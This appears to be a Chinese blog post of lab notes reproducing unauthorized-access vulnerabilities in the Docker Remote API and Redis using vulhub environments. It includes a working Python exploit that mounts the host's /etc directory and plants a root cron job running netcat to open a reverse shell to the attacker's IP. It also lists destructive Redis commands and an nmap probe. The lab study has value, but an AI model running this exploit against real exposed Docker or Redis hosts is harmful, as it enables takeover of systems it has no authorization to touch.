未授权漏洞复现

未授权漏洞复现

docker daemon api 未授权访问漏洞

Docker Remote API未授权访问漏洞

docker swarmdocker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供。

漏洞发现的起因是,一位同学在使用docker swarm的时候,发现了管理的docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,http访问会返回 404 page not found ,
然后他研究了下,发现这是 Docker Remote API,可以执行docker命令
比如访问 http://host:2375/containers/json 会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps 的效果一样,
其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成

编译及启动漏洞环境:
docker-compose build
docker-compose up -d
环境启动后,将监听2375端口。
访问 http://192.168.33.130:2375/version 验证是否搭建成功
在这里插入图片描述

漏洞复现

利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。
我们可以将命令写入crontab配置文件,进行反弹shell。

攻击机kali 192.168.33.129
靶机Ubuntu 192.168.33.130
exp.py

import docker

client = docker.DockerClient(base_url='http://192.168.33.130:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.33.129 4444 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

windows运行这个exp.py没成功反弹

换个exp

import docker

client = docker.DockerClient(base_url='http://192.168.33.130:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.33.129 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

我的环境有点唉

http://luckyzmj.cn/posts/a398fa24.html
https://vulhub.org/#/environments/docker/unauthorized-rce/

Redis 4.x/5.x 未授权访问漏洞

https://blog.csdn.net/weixin_41598660/article/details/105884729

kali 安装redis

在这里插入图片描述
ubuntu192.168.33.130 启动靶场环境 https://vulhub.org/#/environments/redis/4-unacc/

 docker-compose up -d

环境启动后,通过redis-cli -h 192.168.33.130 即可进行连接,可见存在未授权访问漏洞。
在这里插入图片描述

其中redis数据库的一些操作

dbsize 查看所有key的数目
flushdb 删除当前选择数据库中的所有key
flushall 删除所有数据库中的所有key
save: 将数据同步保存到磁盘
bgsave: 异步保存
lastsave: 上次成功保存到磁盘的Unix时间戳
info: 查询server信息
config: 配置server
slaveof: 改变复制策略设置

在这里插入图片描述

注:授予redis-cli一个全局使用的权限,用着比较方便

sudo cp /opt/redis-5.0.8/src/redis-cli /usr/local/bin/  

在这里插入图片描述

其他

如果只是漏洞挖掘,不深入拿shell,以下步骤即可。
对靶机的一个6379 redis的端口探测
nmap -p 6379 -script redis-info 192.168.33.130

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值